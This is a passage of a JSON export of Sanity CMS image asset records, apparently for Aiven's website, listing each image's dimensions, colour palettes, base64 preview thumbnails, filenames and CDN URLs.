{"_createdAt":"2023-12-14T13:20:44Z","_id":"image-2162d369604948f9e195f20c34b0dcd6899d2d8a-6000x4000-jpg","_rev":"7oPGYyiRG7hm5kP9hVxsbe","_type":"sanity.imageAsset","_updatedAt":"2023-12-14T13:20:44Z","assetId":"2162d369604948f9e195f20c34b0dcd6899d2d8a","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5,"height":4000,"width":6000},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAUGA//EACEQAAEDBAIDAQAAAAAAAAAAAAECAwQABREhBhIHEzFR/8QAFgEBAQEAAAAAAAAAAAAAAAAABAID/8QAGREAAgMBAAAAAAAAAAAAAAAAAQIAEVED/9oADAMBAAIRAxEAPwBT4rsUNHFYMlUJn3Og9nl6NZX/AJUI9yn2OOEqacYU2pxO94zUFx3yXPtdlYtohx3mG0lOVE5IP2pdu7vM31ctCR1X2w0TpII/aT07Eqq5M1ULZ2DVmRJSXC8EZJ1iilJlPAnq4oDPwGii0ZVrk//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3d3029","foreground":"#fff","population":4.43,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#223667","foreground":"#fff","population":0.52,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#879ac4","foreground":"#000","population":9.96,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#879ac4","foreground":"#000","population":9.96,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e5b5a5","foreground":"#000","population":1.44,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c80b9","foreground":"#fff","population":9.8,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9c3e14","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Aiven Live Jon Collins on stage 2.jpeg","path":"images/sczeoy4w/production/2162d369604948f9e195f20c34b0dcd6899d2d8a-6000x4000.jpg","sha1hash":"2162d369604948f9e195f20c34b0dcd6899d2d8a","size":1665524,"uploadId":"JpSex4zRdnjWI3zkFZO5ye7G0obB1pHZ","url":"https://cdn.sanity.io/images/sczeoy4w/production/2162d369604948f9e195f20c34b0dcd6899d2d8a-6000x4000.jpg"} {"_createdAt":"2022-06-30T19:58:22Z","_id":"image-21808f951904d2a7f0445b2489a0b43768ae0d0b-3360x1750-png","_rev":"QRl2cGoCgj0FlAhkRrhnt2","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:20:02Z","assetId":"21808f951904d2a7f0445b2489a0b43768ae0d0b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MHRfqR-U^PtRyDOXa0$%W=bv_NS#M{t6RP","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.92,"height":1750,"width":3360},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsSAAALEgHS3X78AAABqUlEQVQokY3Qy47TMBSA4T42L8ADzBKxQMACCc2iqDsY0Agk2kpcRjDNQJKmSZN4aruxHV+O41wclE7FFn6dhTefj+zZOI5+GFxjjZJG1QBGNG1m2lg3O90U0JQGsAXTdW7wzTC4Yei99+PUbPR+cBZQxG/esu8LFK9vDvgjVasj/8bE8qg+0fpLxTai/srMulI/uCiNavp+wm3rnGJwey3nj+X8UfL52etNcBEUz8PtZZI9De8vgvxFuL3c7Z+czi/DeIlyYWHCjDFGsUp+qtVcLV/h4HoVx4sgufoVrdL9h6RcBNv3v6N1tr+K8zeb6N3d3W2eSaO997PjKckqdV/IPNUUV5SmuyxLs4pSisku2e3TtCLkgFAcRkkYYoQswISdc03TWABZVQJjLYTgvCwKVBSCc85YkeeoLEVVHRHKwnAfReQvnn7be+ecZIwTUnPOhTgQggnhQjAhMKGEUs45xbhI0zJNjxhba894HMe+7y0AaA2ntDFaawMwzSkAkFISQighdV1ba7uuO2Pv/fCv2rZ9uFQqJYRQSp3x//SwoG1bpRQ9PeQPPpUpcaEzn7MAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3a3a3a","foreground":"#fff","population":0.1,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#449494","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#8da3a3","foreground":"#000","population":3.64,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b9d7d8","foreground":"#000","population":1.84,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#69e7f7","foreground":"#000","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8da3a3","foreground":"#000","population":3.64,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#10b2de","foreground":"#fff","population":1.17,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"21808f951904d2a7f0445b2489a0b43768ae0d0b-3360x1750.png","path":"images/sczeoy4w/production/21808f951904d2a7f0445b2489a0b43768ae0d0b-3360x1750.png","sha1hash":"21808f951904d2a7f0445b2489a0b43768ae0d0b","size":139555,"uploadId":"xjs0YbAkn5nvXm3ZuLNBr5v4AXcIQn41","url":"https://cdn.sanity.io/images/sczeoy4w/production/21808f951904d2a7f0445b2489a0b43768ae0d0b-3360x1750.png"} {"_createdAt":"2023-11-07T15:30:26Z","_id":"image-21cbd4637bbe64b4bb1042c242bd87895e9efdaa-1201x630-svg","_rev":"cHZXkXbYDZzJZByADl21Kv","_type":"sanity.imageAsset","_updatedAt":"2023-11-07T15:30:26Z","assetId":"21cbd4637bbe64b4bb1042c242bd87895e9efdaa","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M03SW3o+fPo+fP4Tawf5awfRo+fPfPaxfR","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9063492063492065,"height":630,"width":1201},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsTAAALEwEAmpwYAAABHElEQVQokY2LTU/CQBBA9z9oC9W2tGxpibGB8ouERErixwHBRDxQL3JCL2JEfmtnzcxuu0u5eHiZnfd22Jk7LglvIicxMXbzrXbCvLmpOzv3pyC5VUzB6szA6uRgNRo5bH6uvWe2HJgdPohW+Ejg2w7vhR1IKt8ir8Bm3gT4966erM2fwOELcKIlONEzvdt8DtpXbUlOstA3XP3v4s0c2GX8Ki56K0msZm8l0J+2F5rkq78x7vqOuf03ISmEm6w1/UJ4VTN9UpCTrTh+J2vB/KsNaN4b/Ldtas+C9EMgYfpJM0i3BqY3W/NGteutYN3hDvjwW7ED3IkBet1qX7fqxmiDL2A8+yl5ti8jZPRbRqODnNle+0ZDf3pzoP0Pvv5cMj84DZcAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#182580","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#15206c","foreground":"#fff","population":7.69,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#24349e","foreground":"#fff","population":8.1,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#1c297c","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#939de6","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#1c297c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#24349e","foreground":"#fff","population":8.1,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"bg-gift-wrap-blue.svg","path":"images/sczeoy4w/production/21cbd4637bbe64b4bb1042c242bd87895e9efdaa-1201x630.svg","sha1hash":"21cbd4637bbe64b4bb1042c242bd87895e9efdaa","size":24224,"uploadId":"VZC2eF32TpGmBw3kWmBEZiwzJIZ74YlQ","url":"https://cdn.sanity.io/images/sczeoy4w/production/21cbd4637bbe64b4bb1042c242bd87895e9efdaa-1201x630.svg"} {"_createdAt":"2022-10-06T09:59:40Z","_id":"image-222786b58edba443094579f28af3bebaab861b63-833x440-png","_rev":"6A7y012pmf5STlJrFIxtbp","_type":"sanity.imageAsset","_updatedAt":"2022-10-06T09:59:40Z","assetId":"222786b58edba443094579f28af3bebaab861b63","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5S6JU4nyD?b?b?Ht7x]tRs:?wRjNFNGRP","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.893181818181818,"height":440,"width":833},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAABcUlEQVQokZWS23KjMBBE/f+fl7zk8rTBIM3oNiCQwMb0loTt3Dap2odTQlWqpqenDzGOsNaB2YCZQcQgTbCdhm8VQqshiiBkEJyHBEHf9xApSP0uGstywrZtOOSc0YvAO4fgrzgHYYNBE6JmRGJEYxFFMI0ROU3IKd3POWecT0XwgkO5iHewTBVnCN4wQoEJwgy53sUZDOIxxR5pHO7kMWKZEy6XtQgmeGtA3RG63TG6Q7CMPjgMX4jiMfbhE9MgmNOEy7risMwZwVmw6kCqBasWhlR1c3v8G+M3wdvIpD7hyrhlxB/c/Sg4p1RzU8cG6vgG1TbQbVMjKE59zXSn/KCI/uowpwTLGl3zB13zVoXL6DeXHwVrrt7enf575PmaoVYVQxreMsTbHXc9va3vSjyxl/t237ec9y2nNMEaA60UmKh2svSr1Kk04DsZp2XG+bTU7t1Y1/NebGMsnp6e8fDwiJeXVzjnsK4rsG31wf/yFx1DR/QWCknCAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4d4c4e","foreground":"#fff","population":0.25,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#770c2f","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bfbcbb","foreground":"#000","population":2.9,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bfbcbb","foreground":"#000","population":2.9,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6acc4","foreground":"#000","population":0.05,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7e7c7c","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e6185b","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"222786b58edba443094579f28af3bebaab861b63-833x440.png","path":"images/sczeoy4w/production/222786b58edba443094579f28af3bebaab861b63-833x440.png","sha1hash":"222786b58edba443094579f28af3bebaab861b63","size":70741,"uploadId":"eahSsnmAnT0srepCrbPJrvKReRJUhYkx","url":"https://cdn.sanity.io/images/sczeoy4w/production/222786b58edba443094579f28af3bebaab861b63-833x440.png"} {"_createdAt":"2022-06-30T19:57:23Z","_id":"image-2231ca3cd7609a5df1749722e9cec4609f10310e-640x460-png","_rev":"CK1sLU2mnwa3vmbYWEbU8W","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:18:09Z","assetId":"2231ca3cd7609a5df1749722e9cec4609f10310e","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VBODqR0L00D%00?boK?bxuxaD%t6~qn$-;~pof%Moft7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.391304347826087,"height":460,"width":640},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAAAsTAAALEwEAmpwYAAAC/ElEQVQ4jZ2S32tbZRjHz18gCANF53CWDTeGSEHBmyI62VyStrTrms5dCUMUVBC8m+vampjFbnRJZGv2I9bplbShpWNbWsSVprOJSGvb1UTZuv7Y1swmzVnOj+Sc837knJY50e7Ciw8P7/vA5/3yvI8UivVwKtZD5OJ34uveOP1XE/x47RrJ5ChjySRJm9FRro+NMT7+E6lUinQ6zc/pNKnUOCMjI1y5fFlcGhxkeHgYqfb9j9h3+AMaP/xE+E5H+SF5nampaaan15macpiZmeG32VkymQzZTIbfs1l+nZwkHo9z8sQJ8WUwyNloFKm6oUXscDWIVw8cwt99Xvwxd5tCYZWVlRXy+fzDKssyiqKiqhqqqqLpOrlcjkuDg6KtrY3PjhwRXV1dQnq5vplte+qobjxI8HwPC3fvUVJU5FIJVdNRdR1NL1M2DExLYAqBYVlYQFGWSSQS+Hw+WltbCYVCSLtqm9j6loeX6r34ozFuLS5RKMoOii0rV9ao2BhrlCuUDZN8oeAI/X4/dspwOIy009PElt0edtV78UVj3F66w4NSiQeKQrliUDHMR7DPhpPWMC0Kq6sMDQ0RCARob28nEokgvehuYvObHnbWtTjC+Tt30TQNXdcxTRPTshysR7DvhRAUi8WHwo6OjjXhdlcTz77hYUddC593x5wZ2kJV0zAM4x+iv3mMsOrtRp5+3cV2dzMdZy44Ce1fVBRlQ+FjEz6/t5FNNfuoch2gbV2oqfZ6qP9P+Nze/eLJGrfY6vZyrDsmlpZzmPbwK5X/ltk9WcbI5yksLzOUSIh1oYhEIkJ6Zs9+nqhxs8XlFUdPx1jK3Xdet1P8S2aZVDQNZXERNZvlz5s3SVy9QuD4cdHu/4JwdxTpBXeLeGp3g6iqfYePgyGR/GWC+YUFFjZgfm6OWzduMDc5yezEBPG+PhEIBvGd7BJfffOtkF479J5V3fyueOXgYbyfHhWd0Qt83xdnYGBgY/r7ndrX28u5c2dFsLOT4KmwONNz0foLOceDtud1zr8AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#26474e","foreground":"#fff","population":3.11,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#043748","foreground":"#fff","population":0.16,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#26474e","foreground":"#fff","population":3.11,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#afbfc1","foreground":"#000","population":0.96,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ee8385","foreground":"#000","population":0.12,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#608ea8","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3c8494","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"2231ca3cd7609a5df1749722e9cec4609f10310e-640x460.png","path":"images/sczeoy4w/production/2231ca3cd7609a5df1749722e9cec4609f10310e-640x460.png","sha1hash":"2231ca3cd7609a5df1749722e9cec4609f10310e","size":18168,"uploadId":"mgcFNaE0adDZOUTbcJNrAuOUgm3BmJeT","url":"https://cdn.sanity.io/images/sczeoy4w/production/2231ca3cd7609a5df1749722e9cec4609f10310e-640x460.png"} {"_createdAt":"2022-10-03T10:29:15Z","_id":"image-2258a387b3c938a27d826e804d789c6507e8d2f2-1280x720-jpg","_rev":"8WeirZ6KB9gJqgJfvvSN5D","_type":"sanity.imageAsset","_updatedAt":"2022-10-03T10:29:15Z","assetId":"2258a387b3c938a27d826e804d789c6507e8d2f2","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":720,"width":1280},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAQDBgj/xAAeEAACAQQDAQAAAAAAAAAAAAABAgADBBEhEzFREv/EABcBAAMBAAAAAAAAAAAAAAAAAAABAgT/xAAXEQEBAQEAAAAAAAAAAAAAAAABEQAE/9oADAMBAAIRAxEAPwDT2OPjCHC+QC1FVmLa7ktYD6Gotfuwsa+CRhDDUFZmUbKA4MJUbO6rmluq/fsIrtLyIy7/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c3434","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ad2745","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e01a4b","foreground":"#fff","population":0.81,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c399a5","foreground":"#000","population":0.05,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc74a4","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c74a4","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e01a4b","foreground":"#fff","population":0.81,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"M3-setup.jpg","path":"images/sczeoy4w/production/2258a387b3c938a27d826e804d789c6507e8d2f2-1280x720.jpg","sha1hash":"2258a387b3c938a27d826e804d789c6507e8d2f2","size":70828,"uploadId":"hPzdmStQW0cYOiN0yOgQBo1sOyFC0rIk","url":"https://cdn.sanity.io/images/sczeoy4w/production/2258a387b3c938a27d826e804d789c6507e8d2f2-1280x720.jpg"} {"_createdAt":"2023-05-17T13:22:53Z","_id":"image-228fef6ff154ff8b5ca2e8c4b228bf104ec287e5-2560x1707-webp","_rev":"PafZ7If3abxFAfZNOczlSF","_type":"sanity.imageAsset","_updatedAt":"2023-05-30T07:57:41Z","altText":null,"assetId":"228fef6ff154ff8b5ca2e8c4b228bf104ec287e5","description":null,"extension":"webp","metadata":{"_type":"sanity.imageMetadata","blurHash":"VBDT-Q-pDNMw*0kDRjs%tQDh?XIp00o#-QX:xvi^t7JB","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4997070884592854,"height":1707,"width":2560},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAMGBP/EACMQAAIBAwQBBQAAAAAAAAAAAAECBAADBQYREyEHEiIyQVH/xAAXAQADAQAAAAAAAAAAAAAAAAABAwQF/8QAGxEAAgIDAQAAAAAAAAAAAAAAAQIAEQMUIZH/2gAMAwEAAhEDEQA/AM8OBmsbHtu8ewrum4Nsj4/Y2/aXJ1JLe2kdSeJ9+YOoHtFJ0vAuTPJkzG3Jl/gTkVO9yu1VHk3S0XH6RkOl247hCQxG3dWLlVVImY2FmYH2T+PwlzIWDfjxI4tliB6nANFN0HpWzk9LQpV2XJR3XsK3VFEa9dEW2zZoip//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#273c45","foreground":"#fff","population":6.73,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c416a","foreground":"#fff","population":2.26,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#273c45","foreground":"#fff","population":6.73,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b0cfd6","foreground":"#000","population":2.11,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#81c7d7","foreground":"#000","population":4.81,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6399a2","foreground":"#fff","population":3.77,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#369fd3","foreground":"#fff","population":4.09,"title":"#fff"}}},"mimeType":"image/webp","opt":{"media":{"tags":null}},"originalFilename":"decathlon-store.webp","path":"images/sczeoy4w/production/228fef6ff154ff8b5ca2e8c4b228bf104ec287e5-2560x1707.webp","sha1hash":"228fef6ff154ff8b5ca2e8c4b228bf104ec287e5","size":298444,"title":null,"uploadId":"JwpoJMu0NgUcgkSFVOsvK0LQWXmjLUZv","url":"https://cdn.sanity.io/images/sczeoy4w/production/228fef6ff154ff8b5ca2e8c4b228bf104ec287e5-2560x1707.webp"} {"_createdAt":"2022-06-15T20:01:50Z","_id":"image-22cd3bf165c44da3244890f08f23c1738a157219-1200x646-jpg","_rev":"cEPH2uRN58AU2lp9QO7rZp","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:20:29Z","assetId":"22cd3bf165c44da3244890f08f23c1738a157219","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M*NZhb-Us:R+ae|GW.bHj[f6I.I;R+s.kC","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8575851393188854,"height":646,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAABgADBf/EACEQAAIBBAICAwAAAAAAAAAAAAECAwAEERIFISIxFBVB/8QAFwEAAwEAAAAAAAAAAAAAAAAAAQMEBv/EAB0RAAICAgMBAAAAAAAAAAAAAAECAAMGEQQFIUL/2gAMAwEAAhEDEQA/AE31trLaq2wXwD56FAeT5qG2nZNfHJAJB7rhpfXW8Y+RJgj1tWMk0kkbGRixXOM/lT1ddSh2w3NE2TP8LqJYryN4w0hRCe8GqiiSPINnYk+qqJ4NJPixgymwD1Z//9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4b2e57","foreground":"#fff","population":1.71,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#592165","foreground":"#fff","population":3.29,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e5532a","foreground":"#fff","population":6.53,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#be94b7","foreground":"#000","population":1.3,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f95958","foreground":"#fff","population":6.13,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c6b9c","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e5532a","foreground":"#fff","population":6.53,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"22cd3bf165c44da3244890f08f23c1738a157219-1200x646.jpg","path":"images/sczeoy4w/production/22cd3bf165c44da3244890f08f23c1738a157219-1200x646.jpg","sha1hash":"22cd3bf165c44da3244890f08f23c1738a157219","size":600840,"uploadId":"BVUy64MDMHMSkSPolJVJ5w4m2TV57xab","url":"https://cdn.sanity.io/images/sczeoy4w/production/22cd3bf165c44da3244890f08f23c1738a157219-1200x646.jpg"} {"_createdAt":"2024-05-02T09:55:34Z","_id":"image-22da5521b08c529b241d9b01a3aec010441a3f11-1200x630-jpg","_rev":"4CkiyUyzrvTW3s6mCtJf7R","_type":"sanity.imageAsset","_updatedAt":"2024-05-02T09:55:34Z","assetId":"22da5521b08c529b241d9b01a3aec010441a3f11","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M55}nW=lI8NFo}^-%0ITNHkXSgo~t7V]V=","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAQCAwUH/8QAHhAAAgMAAgMBAAAAAAAAAAAAAQIAAwQRMjEzQpH/xAAWAQEBAQAAAAAAAAAAAAAAAAAEAwb/xAAbEQACAQUAAAAAAAAAAAAAAAAAARECAxIhUf/aAAwDAQACEQMRAD8A4di2ZkWsPlRivbkeY5uuw2KWy12Vufn5Eyh6a/H5J1d5qbKjYWtyMhUYcnkGEpfsYRWS4TP/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#393265","foreground":"#fff","population":0.33,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04207c","foreground":"#fff","population":0.13,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#1d2886","foreground":"#fff","population":8.38,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d0afb0","foreground":"#000","population":4.08,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#797dc3","foreground":"#fff","population":0.15,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6a6f9a","foreground":"#fff","population":0.72,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1d2886","foreground":"#fff","population":8.38,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"aiven-meta-preview.jpg","path":"images/sczeoy4w/production/22da5521b08c529b241d9b01a3aec010441a3f11-1200x630.jpg","sha1hash":"22da5521b08c529b241d9b01a3aec010441a3f11","size":42362,"uploadId":"DSkfcJ7spot1xP2rW0bSI71LYWoHP7z9","url":"https://cdn.sanity.io/images/sczeoy4w/production/22da5521b08c529b241d9b01a3aec010441a3f11-1200x630.jpg"} {"_createdAt":"2023-02-02T10:12:47Z","_id":"image-23003fdfdf4f0b3a9ff87d092bb14d2ae97fb177-800x182-png","_rev":"pnOvEyahjeT2Gte9fjyDrX","_type":"sanity.imageAsset","_updatedAt":"2023-02-02T10:12:47Z","assetId":"23003fdfdf4f0b3a9ff87d092bb14d2ae97fb177","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DuD@2d}Z^6-Bs:o2o2oLj[fk","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.395604395604396,"height":182,"width":800},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAAAsTAAALEwEAmpwYAAABJ0lEQVQYlU2QvUtCURyGn2u37laEphkoBNG9fVhU3BAaEsGWaCkh7EMsTSuCBiGoHDMc+qCh/pggmoqkreag6w3rJrVGLcXRMzT8eHmfM5yXB0s305XQxJWlm0/PwdDJg693INCstQJuF3QAPsArU3Q34JHdJ5lHnhfbjF46yY3qWyLz9RKO3dwF+jOGqkWAuAKrQA5IAilgHVgDEsAssASkgWXZF7DDsdpH4eDns3T668RTdrlnpDioaovArgJHQAnYB4rAOXAG7AFZYAc4Bg6B7Tq3zej1+2beqeUL36/T8+X77qFsX1OLWJhQYEX+PPNvjcg5YEpysVxcvP5m6eaWPRa5tUcnqxVj/OKxyxgOutQ24cPVcNcuvfmls4arRgouWKdM/x9WLEmfPoOj7QAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#543434","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#90040b","foreground":"#fff","population":0.09,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f9f7f6","foreground":"#000","population":1.91,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#f9f7f6","foreground":"#000","population":1.91,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f97179","foreground":"#000","population":0.22,"title":"#fff"},"muted":{"_type":"sani